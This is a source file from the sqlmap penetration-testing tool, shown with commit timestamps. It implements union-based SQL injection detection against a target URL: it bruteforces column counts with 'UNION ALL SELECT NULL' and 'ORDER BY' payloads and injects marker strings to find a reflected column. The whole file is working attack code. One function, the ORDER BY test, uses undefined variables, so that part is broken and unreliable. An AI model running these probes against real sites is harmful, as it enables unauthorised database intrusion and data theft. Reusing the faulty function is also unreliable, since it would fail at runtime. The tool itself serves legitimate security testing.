sqlmap/lib/techniques/inband/union/test.py

189 lines
6.2 KiB
Python
Raw Normal View History

2008-10-15 19:38:22 +04:00
#!/usr/bin/env python
"""
2008-10-15 19:56:32 +04:00
$Id$
2008-10-15 19:38:22 +04:00
Copyright (c) 2006-2010 sqlmap developers (http://sqlmap.sourceforge.net/)
2010-10-15 03:18:29 +04:00
See the file 'doc/COPYING' for copying permission
2008-10-15 19:38:22 +04:00
"""
from lib.core.agent import agent
from lib.core.common import randomStr
2008-10-15 19:38:22 +04:00
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.data import queries
from lib.core.enums import DBMS
2008-10-15 19:38:22 +04:00
from lib.core.session import setUnion
from lib.core.unescaper import unescaper
from lib.parse.html import htmlParser
2008-10-15 19:38:22 +04:00
from lib.request.connect import Connect as Request
def __unionPosition(negative=False, falseCond=False, count=None, comment=None):
validPayload = None
if count is None:
count = kb.unionCount
# For each column of the table (# of NULL) perform a request using
# the UNION ALL SELECT statement to test it the target url is
# affected by an exploitable inband SQL injection vulnerability
for exprPosition in range(0, count):
# Prepare expression with delimiters
randQuery = randomStr()
randQueryProcessed = agent.concatQuery("\'%s\'" % randQuery)
randQueryUnescaped = unescaper.unescape(randQueryProcessed)
# Forge the inband SQL injection request
query = agent.forgeInbandQuery(randQueryUnescaped, exprPosition, count=count, comment=comment)
payload = agent.payload(newValue=query, negative=negative, falseCond=falseCond)
# Perform the request
resultPage, _ = Request.queryPage(payload, content=True)
2010-11-14 18:39:57 +03:00
if resultPage and randQuery in resultPage:
setUnion(position=exprPosition)
validPayload = payload
break
return validPayload
def __unionConfirm(count=None, comment=None):
validPayload = None
# Confirm the inband SQL injection and get the exact column
# position which can be used to extract data
if not isinstance(kb.unionPosition, int):
debugMsg = "testing full inband with %s columns" % count
logger.debug(debugMsg)
validPayload = __unionPosition(count=count, comment=comment)
# Assure that the above function found the exploitable full inband
# SQL injection position
if not isinstance(kb.unionPosition, int):
debugMsg = "testing single-entry inband value with %s columns" % count
logger.debug(debugMsg)
validPayload = __unionPosition(negative=True, count=count, comment=comment)
# Assure that the above function found the exploitable partial
2010-10-26 03:39:55 +04:00
# (single entry) inband SQL injection position with negative
# parameter validPayload
if not isinstance(kb.unionPosition, int):
# NOTE: disable false condition for the time being, in the
# end it produces the same as prepending the original
# parameter value with a minus (negative)
#validPayload = __unionPosition(falseCond=True, count=count, comment=comment)
#
# Assure that the above function found the exploitable partial
2010-10-26 03:39:55 +04:00
# (single entry) inband SQL injection position by appending
# a false condition after the parameter validPayload
#if not isinstance(kb.unionPosition, int):
# return None
#else:
# setUnion(falseCond=True)
return None
else:
2010-10-26 03:39:55 +04:00
setUnion(negative=True)
return validPayload
def __unionTestByNULLBruteforce(comment):
2008-10-15 19:38:22 +04:00
"""
This method tests if the target url is affected by an inband
SQL injection vulnerability. The test is done up to 50 columns
on the target database table
"""
query = agent.prefixQuery("UNION ALL SELECT NULL")
2008-10-15 19:38:22 +04:00
for count in range(1, conf.uCols+1):
2010-11-02 14:59:24 +03:00
if kb.dbms == DBMS.ORACLE and query.endswith(" FROM DUAL"):
2008-10-15 19:38:22 +04:00
query = query[:-len(" FROM DUAL")]
if count:
query += ", NULL"
2010-11-02 14:59:24 +03:00
if kb.dbms == DBMS.ORACLE:
2008-10-15 19:38:22 +04:00
query += " FROM DUAL"
validPayload = __unionConfirm(count, comment)
if validPayload:
setUnion(count=count)
break
2008-10-15 19:38:22 +04:00
return validPayload
2008-10-15 19:38:22 +04:00
def __unionTestByOrderBy(comment):
columns = None
prevPayload = ""
for count in range(1, conf.uCols+2):
2010-11-16 00:42:56 +03:00
query = agent.prefixQuery("ORDER BY %d" % count)
orderByQuery = agent.suffixQuery(query, comment)
2010-11-16 00:42:56 +03:00
payload = agent.payload(newValue=orderByQuery, negative=negative, falseCond=falseCond)
_, seqMatcher = Request.queryPage(payload, getSeqMatcher=True)
if seqMatcher >= 0.6:
columns = count
setUnion(count=count)
elif columns:
break
prevPayload = payload
return columns
2008-10-15 19:38:22 +04:00
def unionTest():
"""
This method tests if the target url is affected by an inband
SQL injection vulnerability. The test is done up to 3*50 times
"""
if conf.direct:
return
if kb.unionTest is not None:
return kb.unionTest
if conf.uTech == "orderby":
technique = "ORDER BY clause bruteforcing"
else:
technique = "NULL bruteforcing"
infoMsg = "testing inband sql injection on parameter "
2010-01-15 20:42:46 +03:00
infoMsg += "'%s' with %s technique" % (kb.injParameter, technique)
logger.info(infoMsg)
2008-10-15 19:38:22 +04:00
validPayload = None
2008-10-15 19:38:22 +04:00
for comment in (queries[kb.dbms].comment.query, ""):
if conf.uTech == "orderby":
validPayload = __unionTestByOrderBy(comment)
else:
validPayload = __unionTestByNULLBruteforce(comment)
if validPayload:
setUnion(comment=comment)
2008-10-15 19:38:22 +04:00
break
if isinstance(kb.unionPosition, int):
infoMsg = "the target url is affected by an exploitable "
infoMsg += "inband sql injection vulnerability "
infoMsg += "on parameter '%s' with %d columns" % (kb.injParameter, kb.unionCount)
logger.info(infoMsg)
2008-10-15 19:38:22 +04:00
else:
infoMsg = "the target url is not affected by an exploitable "
infoMsg += "inband sql injection vulnerability "
infoMsg += "on parameter '%s'" % kb.injParameter
logger.info(infoMsg)
2008-10-15 19:38:22 +04:00
validPayload = agent.removePayloadDelimiters(validPayload, False)
setUnion(payload=validPayload)
return kb.unionTest